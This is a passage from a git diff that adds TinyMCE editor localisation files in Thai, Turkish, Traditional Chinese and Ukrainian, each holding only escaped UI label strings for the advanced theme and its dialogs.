elements","charmap_desc":"\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23","backcolor_desc":"\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e2a\u0e35\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07","forecolor_desc":"\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e2a\u0e35\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21","custom1_desc":"\u0e43\u0e2a\u0e48\u0e23\u0e32\u0e22\u0e25\u0e30\u0e40\u0e2d\u0e35\u0e22\u0e14\u0e40\u0e2d\u0e07\u0e44\u0e14\u0e49\u0e17\u0e35\u0e48\u0e19\u0e35\u0e48","removeformat_desc":"\u0e25\u0e49\u0e32\u0e07\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a","hr_desc":"\u0e43\u0e2a\u0e48\u0e40\u0e2a\u0e49\u0e19\u0e1a\u0e23\u0e23\u0e17\u0e31\u0e14","sup_desc":"\u0e15\u0e31\u0e27\u0e22\u0e01","sub_desc":"\u0e15\u0e31\u0e27\u0e2b\u0e49\u0e2d\u0e22","code_desc":"\u0e41\u0e01\u0e49\u0e44\u0e02 HTML","cleanup_desc":"\u0e25\u0e49\u0e32\u0e07\u0e42\u0e04\u0e49\u0e14","image_desc":"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 \u0e23\u0e39\u0e1b","unlink_desc":"\u0e22\u0e01\u0e40\u0e25\u0e34\u0e01\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","link_desc":"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 \u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","redo_desc":"\u0e22\u0e49\u0e2d\u0e19\u0e01\u0e25\u0e31\u0e1a (Ctrl+Y)","undo_desc":"\u0e22\u0e01\u0e40\u0e25\u0e34\u0e01 (Ctrl+Z)","indent_desc":"\u0e40\u0e22\u0e37\u0e49\u0e2d\u0e07\u0e02\u0e27\u0e32","outdent_desc":"\u0e25\u0e14\u0e01\u0e32\u0e23\u0e40\u0e22\u0e37\u0e49\u0e2d\u0e07","numlist_desc":"\u0e25\u0e33\u0e14\u0e31\u0e1a\u0e15\u0e31\u0e27\u0e40\u0e25\u0e02","bullist_desc":"\u0e25\u0e33\u0e14\u0e31\u0e1a\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23","justifyfull_desc":"\u0e08\u0e31\u0e14\u0e40\u0e15\u0e47\u0e21\u0e2b\u0e19\u0e49\u0e32","justifyright_desc":"\u0e08\u0e31\u0e14\u0e02\u0e27\u0e32","justifycenter_desc":"\u0e08\u0e31\u0e14\u0e01\u0e25\u0e32\u0e07","justifyleft_desc":"\u0e08\u0e31\u0e14\u0e0b\u0e49\u0e32\u0e22","striketrough_desc":"\u0e02\u0e35\u0e14\u0e06\u0e48\u0e32","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/th_dlg.js b/js/tiny_mce/themes/advanced/langs/th_dlg.js new file mode 100755 index 0000000..8154094 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.advanced_dlg',{"link_list":"\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","link_is_external":"URL \u0e17\u0e35\u0e48\u0e04\u0e38\u0e13\u0e1b\u0e49\u0e2d\u0e19\u0e14\u0e39\u0e40\u0e2b\u0e21\u0e37\u0e2d\u0e19\u0e27\u0e48\u0e32\u0e20\u0e32\u0e22\u0e19\u0e2d\u0e01\u0e25\u0e34\u0e07\u0e04\u0e04\u0e38\u0e13\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e40\u0e1e\u0e34\u0e48\u0e21 http:// \u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48 ?","link_is_email":"URL \u0e17\u0e35\u0e48\u0e04\u0e38\u0e13\u0e1b\u0e49\u0e2d\u0e19\u0e14\u0e39\u0e40\u0e2b\u0e21\u0e37\u0e2d\u0e19\u0e27\u0e48\u0e32\u0e08\u0e30\u0e21\u0e35\u0e17\u0e35\u0e48\u0e2d\u0e22\u0e39\u0e48\u0e2d\u0e35\u0e40\u0e21\u0e25\u0e2d\u0e22\u0e39\u0e48\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e40\u0e1e\u0e34\u0e48\u0e21 mailto: \u0e19\u0e33\u0e2b\u0e19\u0e49\u0e32\u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48 ?","link_titlefield":"\u0e0a\u0e37\u0e48\u0e2d","link_target_blank":"\u0e40\u0e1b\u0e34\u0e14\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c\u0e43\u0e19\u0e2b\u0e19\u0e49\u0e32\u0e15\u0e48\u0e32\u0e07\u0e43\u0e2b\u0e21\u0e48","link_target_same":"\u0e40\u0e1b\u0e34\u0e14\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c\u0e43\u0e19\u0e2b\u0e19\u0e49\u0e32\u0e15\u0e48\u0e32\u0e07\u0e40\u0e14\u0e35\u0e22\u0e27\u0e01\u0e31\u0e19","link_target":"\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22","link_url":"\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c URL","link_title":"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 \u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","image_align_right":"\u0e02\u0e27\u0e32","image_align_left":"\u0e0b\u0e49\u0e32\u0e22","image_align_textbottom":"\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e2d\u0e22\u0e39\u0e48\u0e25\u0e48\u0e32\u0e07","image_align_texttop":"\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e2d\u0e22\u0e39\u0e48\u0e1a\u0e19","image_align_bottom":"\u0e25\u0e48\u0e32\u0e07","image_align_middle":"\u0e01\u0e25\u0e32\u0e07","image_align_top":"\u0e1a\u0e19","image_align_baseline":"\u0e40\u0e2a\u0e49\u0e19\u0e1e\u0e37\u0e49\u0e19","image_align":"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07\u0e08\u0e31\u0e14\u0e27\u0e32\u0e07","image_hspace":"\u0e23\u0e30\u0e22\u0e30\u0e2b\u0e48\u0e32\u0e07\u0e41\u0e19\u0e27\u0e19\u0e2d\u0e19","image_vspace":"\u0e23\u0e30\u0e22\u0e30\u0e2b\u0e48\u0e32\u0e07\u0e41\u0e19\u0e27\u0e15\u0e31\u0e49\u0e07","image_dimensions":"\u0e02\u0e19\u0e32\u0e14","image_alt":"\u0e23\u0e32\u0e22\u0e25\u0e30\u0e2d\u0e35\u0e22\u0e14\u0e23\u0e39\u0e1b","image_list":"\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23\u0e23\u0e39\u0e1b","image_border":"\u0e01\u0e23\u0e2d\u0e1a","image_src":"URL \u0e23\u0e39\u0e1b","image_title":"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 \u0e23\u0e39\u0e1b","charmap_title":"\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23\u0e17\u0e35\u0e48\u0e01\u0e33\u0e2b\u0e19\u0e14\u0e40\u0e2d\u0e07","colorpicker_name":"\u0e0a\u0e37\u0e48\u0e2d:","colorpicker_color":"\u0e2a\u0e35:","colorpicker_named_title":"\u0e0a\u0e37\u0e48\u0e2d\u0e2a\u0e35","colorpicker_named_tab":"\u0e0a\u0e37\u0e48\u0e2d","colorpicker_palette_title":"\u0e08\u0e32\u0e19\u0e2a\u0e35","colorpicker_palette_tab":"\u0e08\u0e32\u0e19\u0e2a\u0e35","colorpicker_picker_title":"\u0e08\u0e32\u0e19\u0e2a\u0e35","colorpicker_picker_tab":"\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e2a\u0e35","colorpicker_title":"\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e2a\u0e35","code_wordwrap":"\u0e15\u0e31\u0e14\u0e04\u0e33","code_title":"\u0e41\u0e01\u0e49\u0e44\u0e02 HTML","anchor_name":"\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","anchor_title":"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 \u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","about_loaded":"\u0e42\u0e2b\u0e25\u0e14\u0e1b\u0e25\u0e31\u0e4a\u0e01\u0e2d\u0e34\u0e19","about_version":"\u0e23\u0e38\u0e48\u0e19","about_author":"\u0e1c\u0e39\u0e49\u0e40\u0e02\u0e35\u0e22\u0e19","about_plugin":"\u0e1b\u0e25\u0e31\u0e4a\u0e01\u0e2d\u0e34\u0e19","about_plugins":"\u0e1b\u0e25\u0e31\u0e4a\u0e01\u0e2d\u0e34\u0e19","about_license":"\u0e25\u0e34\u0e02\u0e2a\u0e34\u0e17\u0e18\u0e34\u0e4c","about_help":"\u0e0a\u0e48\u0e27\u0e22\u0e40\u0e2b\u0e25\u0e37\u0e2d","about_general":"\u0e40\u0e01\u0e35\u0e48\u0e22\u0e27\u0e01\u0e31\u0e1a\u0e40\u0e23\u0e32","about_title":"\u0e40\u0e01\u0e35\u0e48\u0e22\u0e27\u0e01\u0e31\u0e1a TinyMCE","charmap_usage":"Use left and right arrows to navigate.","anchor_invalid":"Please specify a valid anchor name.","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage","invalid_color_value":"Invalid color value"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/tr.js b/js/tiny_mce/themes/advanced/langs/tr.js new file mode 100755 index 0000000..e08a86b --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/tr.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.advanced',{"underline_desc":"Alt\u0131 \u00e7izili (Ctrl+U)","italic_desc":"\u0130talik (Ctrl+I)","bold_desc":"Kal\u0131n (Ctrl+B)",dd:"A\u00e7\u0131klama tan\u0131mlama",dt:"\u0130fade tan\u0131mlama ",samp:"\u00d6rnek kod",code:"Kod",blockquote:"Blok al\u0131nt\u0131",h6:"Ba\u015fl\u0131k 6",h5:"Ba\u015fl\u0131k 5",h4:"Ba\u015fl\u0131k 4",h3:"Ba\u015fl\u0131k 3",h2:"Ba\u015fl\u0131k 2",h1:"Ba\u015fl\u0131k 1",pre:"\u00d6nceden bi\u00e7imlendirilmi\u015f",address:"Adres",div:"Blok",paragraph:"Paragraf",block:"Bi\u00e7im",fontdefault:"Yaz\u0131 tipi","font_size":"Yaz\u0131 boyutu","style_select":"Stiller","more_colors":"Daha fazla renk","toolbar_focus":"Alt+Q ara\u00e7 d\u00fc\u011fmelerine ge\u00e7. Alt+Z: Edit\u00f6re ge\u00e7. Alt+X:Elementin yoluna ge\u00e7.",newdocument:"T\u00fcm i\u00e7eriklerleri temizlemek istedi\u011finizden emin misiniz?",path:"Yol","clipboard_msg":"Mozilla Firefox da Kes/Kopyala/Yap\u0131\u015ft\u0131r kullan\u0131lamaz. Bu konu hakk\u0131nda daha fazla bilgi almak ister misiniz?","blockquote_desc":"Blok al\u0131nt\u0131","help_desc":"Yard\u0131m","newdocument_desc":"Bo\u015f belge","image_props_desc":"Resim \u00f6zellikleri","paste_desc":"Yap\u0131\u015ft\u0131r","copy_desc":"Kopyala","cut_desc":"Kes","anchor_desc":"K\u00f6pr\u00fc ekle/d\u00fczenle","visualaid_desc":"K\u0131lavuz/g\u00f6r\u00fcnmez nesneleri a\u00e7/kapat.","charmap_desc":"\u00d6zel karakter ekle","backcolor_desc":"Arkaplan rengini se\u00e7","forecolor_desc":"Metin rengini se\u00e7","custom1_desc":"\u00d6zel a\u00e7\u0131klamalar burada","removeformat_desc":"Bi\u00e7imi temizle","hr_desc":"Yatay cetvel ekle","sup_desc":"\u00dcstsimge","sub_desc":"Altsimge","code_desc":"HTML Kayna\u011f\u0131n\u0131 D\u00fczenle","cleanup_desc":"Da\u011f\u0131n\u0131k kodu temizle","image_desc":"Resim ekle/d\u00fczenle","unlink_desc":"Ba\u011flant\u0131y\u0131 kald\u0131r","link_desc":"Ba\u011flant\u0131 ekle/d\u00fczenle","redo_desc":"Yinele (Ctrl+Y)","undo_desc":"Geri al (Ctrl+Z)","indent_desc":"Girintiyi art\u0131r","outdent_desc":"Girintiyi azalt","numlist_desc":"S\u0131ral\u0131 liste","bullist_desc":"S\u0131ras\u0131z liste","justifyfull_desc":"\u0130ki yana yasla","justifyright_desc":"Sa\u011fa hizala","justifycenter_desc":"Ortala","justifyleft_desc":"Sola hizala","striketrough_desc":"\u00dcst\u00fc \u00e7izili","help_shortcut":"Toolbar i\u00e7in ALT-F10 a bas\u0131n. Yard\u0131m i\u00e7in ALT-0 a bas\u0131n.","rich_text_area":"Zengin Metin Alan\u0131","shortcuts_desc":"Eri\u015filebilirlik Yard\u0131m\u0131",toolbar:"Toolbar","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/tr_dlg.js b/js/tiny_mce/themes/advanced/langs/tr_dlg.js new file mode 100755 index 0000000..8fdb3be --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.advanced_dlg',{"link_list":"Ba\u011flant\u0131 listesi","link_is_external":"Girdi\u011fiz URL d\u0131\u015f ba\u011flant\u0131 gibi g\u00f6r\u00fcn\u00fcyor; gerekli olan http:// \u00f6nekinin eklenmesini ister misiniz?","link_is_email":"Girdi\u011finiz URL e-posta adresi gibi g\u00f6r\u00fcn\u00fcyor; gerekli olan mailto: \u00f6nekinin eklenmesini ister misiniz? prefix?","link_titlefield":"Ba\u015fl\u0131k","link_target_blank":"Ba\u011flant\u0131y\u0131 yeni pencerede a\u00e7","link_target_same":"Ba\u011flant\u0131y\u0131 ayn\u0131 pencerede a\u00e7","link_target":"Hedef","link_url":"Ba\u011flant\u0131 URL\'si","link_title":"Ba\u011flant\u0131 ekle/d\u00fczenle","image_align_right":"Sa\u011f","image_align_left":"Sol","image_align_textbottom":"Metin altta","image_align_texttop":"Metin \u00fcstte","image_align_bottom":"Alt","image_align_middle":"Orta","image_align_top":"\u00dcst","image_align_baseline":"Taban hizas\u0131","image_align":"Hizalama","image_hspace":"Yatay bo\u015fluk","image_vspace":"Dikey bo\u015fluk","image_dimensions":"Boyutlar","image_alt":"Resim a\u00e7\u0131klamas\u0131","image_list":"Resim listesi","image_border":"Kenarl\u0131k","image_src":"Resmin URL\'si","image_title":"Resim ekle/d\u00fczenle","charmap_title":"\u00d6zel karakter se\u00e7","colorpicker_name":"\u0130sim:","colorpicker_color":"Renk:","colorpicker_named_title":"Renk ad\u0131","colorpicker_named_tab":"Ad\u0131","colorpicker_palette_title":"Renk paleti","colorpicker_palette_tab":"Palet","colorpicker_picker_title":"Renk se\u00e7ici","colorpicker_picker_tab":"Se\u00e7ici","colorpicker_title":"Renk se\u00e7","code_wordwrap":"Kelimeleri birlikte tut","code_title":"HTML Kaynak Edit\u00f6r\u00fc","anchor_name":"K\u00f6pr\u00fc ad\u0131","anchor_title":"K\u00f6pr\u00fc ekle/d\u00fczenle","about_loaded":"Y\u00fckl\u00fc eklentiler","about_version":"Versiyon","about_author":"Yazar","about_plugin":"Eklenti","about_plugins":"Eklentiler","about_license":"Lisans","about_help":"Yard\u0131m","about_general":"Hakk\u0131nda","about_title":"TinyMCE hakk\u0131nda","anchor_invalid":"L\u00fctfen ge\u00e7erli bir k\u00f6pr\u00fc ad\u0131 giriniz","accessibility_help":"Eri\u015febilirlik Yard\u0131m\u0131","accessibility_usage_title":"Genel Kullan\u0131m"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/tw.js b/js/tiny_mce/themes/advanced/langs/tw.js new file mode 100755 index 0000000..1ceb6dc --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/tw.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.advanced',{"underline_desc":"\u5e95\u7dda (Ctrl+U)","italic_desc":"\u659c\u9ad4 (Ctrl+I)","bold_desc":"\u7c97\u9ad4 (Ctrl+B)",dd:"\u540d\u8a5e\u89e3\u91cb",dt:"\u540d\u8a5e\u5b9a\u7fa9",samp:"\u539f\u59cb\u78bc\u7bc4\u4f8b",code:"\u539f\u59cb\u78bc",blockquote:"\u5f15\u7528",h6:"\u6a19\u984c6",h5:"\u6a19\u984c5",h4:"\u6a19\u984c4",h3:"\u6a19\u984c3",h2:"\u6a19\u984c2",h1:"\u6a19\u984c1",pre:"\u9810\u8a2d\u5b9a\u7fa9\u683c\u5f0f",address:"\u5730\u5740",div:"DIV \u968e\u5c64",paragraph:"\u6bb5\u843d",block:"\u683c\u5f0f",fontdefault:"\u5b57\u9ad4","font_size":"\u5b57\u578b\u5927\u5c0f","style_select":"\u6a23\u5f0f","link_delta_height":"60","link_delta_width":"40","more_colors":"\u66f4\u591a\u984f\u8272...","toolbar_focus":"\u5b9a\u4f4d\u5230\u5de5\u5177\u5217\uff1aAlt+Q\uff0c\u5b9a\u4f4d\u5230\u7de8\u8f2f\u6846\uff1aAlt+Z\u5b9a\u4f4d\u5230\u5de5\u5177\u5217- Alt+Q\uff0c\u5b9a\u4f4d\u5230\u5143\u7d20\u76ee\u9304\uff1aAlt+X\u3002",newdocument:"\u78ba\u8a8d\u6e05\u9664\u76ee\u524d\u7de8\u8f2f\u7684\u5167\u5bb9\u55ce\uff1f",path:"\u5143\u7d20\u76ee\u9304","clipboard_msg":"\u5f88\u62b1\u6b49\uff0c\u60a8\u7684\u700f\u89bd\u5668\u4e0d\u652f\u63f4\u8907\u88fd\u529f\u80fd\u3002","blockquote_desc":"\u5f15\u7528","help_desc":"\u8aaa\u660e","newdocument_desc":"\u65b0\u5efa\u6a94\u6848","image_props_desc":"\u5716\u7247\u5c6c\u6027","paste_desc":"\u8cbc\u4e0a (Ctrl+V)","copy_desc":"\u8907\u88fd (Ctrl+C)","cut_desc":"\u526a\u4e0b (Ctrl+X)","anchor_desc":"\u63d2\u5165/\u7de8\u8f2f\u66f8\u7c64","visualaid_desc":"\u986f\u793a/\u96b1\u85cf\u76ee\u6a19","charmap_desc":"\u63d2\u5165\u7279\u6b8a\u7b26\u865f","backcolor_desc":"\u80cc\u666f\u984f\u8272","forecolor_desc":"\u6587\u5b57\u984f\u8272","custom1_desc":"\u5728\u6b64\u8f38\u5165\u63cf\u8ff0","removeformat_desc":"\u6e05\u9664\u683c\u5f0f","hr_desc":"\u6c34\u5e73\u7dda","sup_desc":"\u4e0a\u6a19","sub_desc":"\u4e0b\u6a19","code_desc":"Html\u539f\u59cb\u78bc\u6a21\u5f0f","cleanup_desc":"\u6e05\u9664\u683c\u5f0f","image_desc":"\u63d2\u5165/\u7de8\u8f2f\u5716\u7247","unlink_desc":"\u522a\u9664\u8d85\u9023\u7d50","link_desc":"\u63d2\u5165/\u7de8\u8f2f\u8d85\u9023\u7d50","redo_desc":"\u53d6\u6d88\u5fa9\u539f (Ctrl+Y)","undo_desc":"\u5fa9\u539f (Ctrl+Z)","indent_desc":"\u589e\u52a0\u7e2e\u6392","outdent_desc":"\u6e1b\u5c11\u7e2e\u6392","numlist_desc":"\u7de8\u865f\u5217\u8868","bullist_desc":"\u9805\u76ee\u5217\u8868","justifyfull_desc":"\u5de6\u53f3\u5c0d\u9f4a","justifyright_desc":"\u9760\u53f3\u5c0d\u9f4a","justifycenter_desc":"\u7f6e\u4e2d\u5c0d\u9f4a","justifyleft_desc":"\u9760\u5de6\u5c0d\u9f4a","striketrough_desc":"\u522a\u9664\u7dda","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","image_delta_height":"","image_delta_width":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/tw_dlg.js b/js/tiny_mce/themes/advanced/langs/tw_dlg.js new file mode 100755 index 0000000..15de48a --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.advanced_dlg',{"link_list":"\u8d85\u9023\u7d50\u6e05\u55ae","link_is_external":"\u60a8\u8f38\u5165\u7684 URL \u662f\u4e00\u500b\u5916\u90e8\u8d85\u9023\u7d50\uff0c\u662f\u5426\u8981\u52a0\u4e0a http:// \uff1f","link_is_email":"\u60a8\u8f38\u5165\u7684\u662f\u96fb\u5b50\u90f5\u4ef6\u5730\u5740,\u662f\u5426\u9700\u8981\u52a0 mailto:\uff1f","link_titlefield":"\u6a19\u984c","link_target_blank":"\u65b0\u8996\u7a97\u6253\u958b\u8d85\u9023\u7d50","link_target_same":"\u76ee\u524d\u8996\u7a97\u6253\u958b\u8d85\u9023\u7d50","link_target":"\u76ee\u6a19","link_url":"\u8d85\u9023\u7d50URL","link_title":"\u63d2\u5165/\u7de8\u8f2f\u8d85\u9023\u7d50","image_align_right":"\u9760\u53f3","image_align_left":"\u9760\u5de6","image_align_textbottom":"\u6587\u5b57\u4e0b\u65b9","image_align_texttop":"\u6587\u5b57\u4e0a\u65b9","image_align_bottom":"\u9760\u4e0b","image_align_middle":"\u7f6e\u4e2d","image_align_top":"\u9760\u4e0a","image_align_baseline":"\u57fa\u6e96\u7dda","image_align":"\u5c0d\u9f4a\u65b9\u5f0f","image_hspace":"\u6c34\u5e73\u9593\u8ddd","image_vspace":"\u5782\u76f4\u9593\u8ddd","image_dimensions":"\u5c3a\u5bf8","image_alt":"\u5716\u7247\u8aaa\u660e","image_list":"\u5716\u7247\u6e05\u55ae","image_border":"\u908a\u6846","image_src":"\u5716\u7247URL","image_title":"\u63d2\u5165/\u7de8\u8f2f\u5716\u7247","charmap_title":"\u63d2\u5165\u7279\u6b8a\u7b26\u865f","colorpicker_name":"\u540d\u7a31\uff1a","colorpicker_color":"\u984f\u8272\uff1a","colorpicker_named_title":"\u5e38\u7528\u984f\u8272","colorpicker_named_tab":"\u5e38\u7528\u984f\u8272","colorpicker_palette_title":"WEB\u984f\u8272","colorpicker_palette_tab":"\u5b89\u5168\u8272","colorpicker_picker_title":"\u8abf\u8272\u76e4","colorpicker_picker_tab":"\u8abf\u8272\u76e4","colorpicker_title":"\u9078\u64c7\u984f\u8272","code_wordwrap":"\u81ea\u52d5\u63db\u884c","code_title":"\u539f\u59cb\u78bc\u6a19\u984c","anchor_name":"\u66f8\u7c64\u540d\u7a31","anchor_title":"\u63d2\u5165/\u7de8\u8f2f\u66f8\u7c64","about_loaded":"\u5df2\u555f\u7528\u7684\u5916\u639b\u7a0b\u5f0f","about_version":"\u7248\u672c","about_author":"\u4f5c\u8005","about_plugin":"\u5916\u639b\u7a0b\u5f0f","about_plugins":"\u5916\u639b\u7a0b\u5f0f","about_license":"\u6388\u6b0a","about_help":"\u8aaa\u660e","about_general":"\u95dc\u65bc","about_title":"\u95dc\u65bc TinyMCE","anchor_invalid":"Please specify a valid anchor name.","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/uk.js b/js/tiny_mce/themes/advanced/langs/uk.js new file mode 100755 index 0000000..5998e28 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/uk.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.advanced',{"underline_desc":"\u041f\u0456\u0434\u043a\u0440\u0435\u0441\u043b\u0435\u043d\u0438\u0439 (Ctrl+U)","italic_desc":"\u041a\u0443\u0440\u0441\u0438\u0432 (Ctrl+I)","bold_desc":"\u0416\u0438\u0440\u043d\u0438\u0439 (Ctrl+B)",dd:"\u0414\u043e\u0432\u0456\u0434\u043d\u0438\u043a, \u043e\u043f\u0438\u0441 ",dt:"\u0414\u043e\u0432\u0456\u0434\u043d\u0438\u043a, \u0442\u0435\u0440\u043c\u0456\u043d ",samp:"\u041f\u0440\u0438\u043a\u043b\u0430\u0434 \u043a\u043e\u0434\u0443",code:"\u041a\u043e\u0434",blockquote:"\u0426\u0438\u0442\u0430\u0442\u0430",h6:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 6",h5:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 5",h4:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 4",h3:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 3",h2:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 2",h1:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 1",pre:"\u041f\u043e\u043f\u0435\u0440\u0435\u0434\u043d\u044c\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432\u0430\u043d\u0438\u0439",address:"\u0421\u0442\u0438\u043b\u044c \u0430\u0434\u0440\u0435\u0441\u0438",div:"Div",paragraph:"\u0410\u0431\u0437\u0430\u0446",block:"\u0424\u043e\u0440\u043c\u0430\u0442",fontdefault:"\u0428\u0440\u0438\u0444\u0442","font_size":"\u0420\u043e\u0437\u043c\u0456\u0440 \u0448\u0440\u0438\u0444\u0442\u0443","style_select":"\u0421\u0442\u0438\u043b\u0456","more_colors":"\u0411\u0456\u043b\u044c\u0448\u0435 \u043a\u043e\u043b\u044c\u043e\u0440\u0456\u0432","toolbar_focus":"\u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u043f\u0430\u043d\u0435\u043b\u044c \u043a\u043d\u043e\u043f\u043e\u043a - Alt+Q, \u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u0434\u043e \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0443 - Alt-Z, \u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u0434\u043e \u0448\u043b\u044f\u0445\u0443 \u0435\u043b\u0435\u043c\u0435\u043d\u0442\u0443 - Alt-X",newdocument:"\u0412\u0438 \u0432\u043f\u0435\u0432\u043d\u0435\u043d\u0456, \u0449\u043e \u0431\u0430\u0436\u0430\u0454\u0442\u0435 \u0432\u0441\u0435 \u0432\u0438\u0434\u0430\u043b\u0438\u0442\u0438?",path:"\u0428\u043b\u044f\u0445","clipboard_msg":"\u041a\u043e\u043f\u0456\u044e\u0432\u0430\u0442\u0438/\u0412\u0438\u0440\u0456\u0437\u0430\u0442\u0438/\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0456 \u0432 Mozilla \u0438 Firefox.\n\u0412\u0430\u043c \u0446\u0456\u043a\u0430\u0432\u0430 \u0456\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0456\u044f \u043f\u0440\u043e \u0446\u0435?","blockquote_desc":"\u0426\u0438\u0442\u0430\u0442\u0430","help_desc":"\u0414\u043e\u043f\u043e\u043c\u043e\u0433\u0430","newdocument_desc":"\u041d\u043e\u0432\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442","image_props_desc":"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f","paste_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438","copy_desc":"\u041a\u043e\u043f\u0456\u044e\u0432\u0430\u0442\u0438","cut_desc":"\u0412\u0438\u0440\u0456\u0437\u0430\u0442\u0438","anchor_desc":"\u0414\u043e\u0434\u0430\u0442\u0438/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u044f\u043a\u0456\u0440","visualaid_desc":"\u041f\u0435\u0440\u0435\u043c\u043a\u043d\u0443\u0442\u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u0456/\u043f\u0440\u0438\u0445\u043e\u0432\u0430\u043d\u0456 \u0435\u043b\u0435\u043c\u0435\u043d\u0442\u0438","charmap_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0441\u0438\u043c\u0432\u043e\u043b","backcolor_desc":"\u0412\u0438\u0431\u0440\u0430\u0442\u0438 \u043a\u043e\u043b\u0456\u0440 \u0444\u043e\u043d\u0443","forecolor_desc":"\u0412\u0438\u0431\u0440\u0430\u0442\u0438 \u043a\u043e\u043b\u0456\u0440 \u0442\u0435\u043a\u0441\u0442\u0443","custom1_desc":"\u0412\u0430\u0448 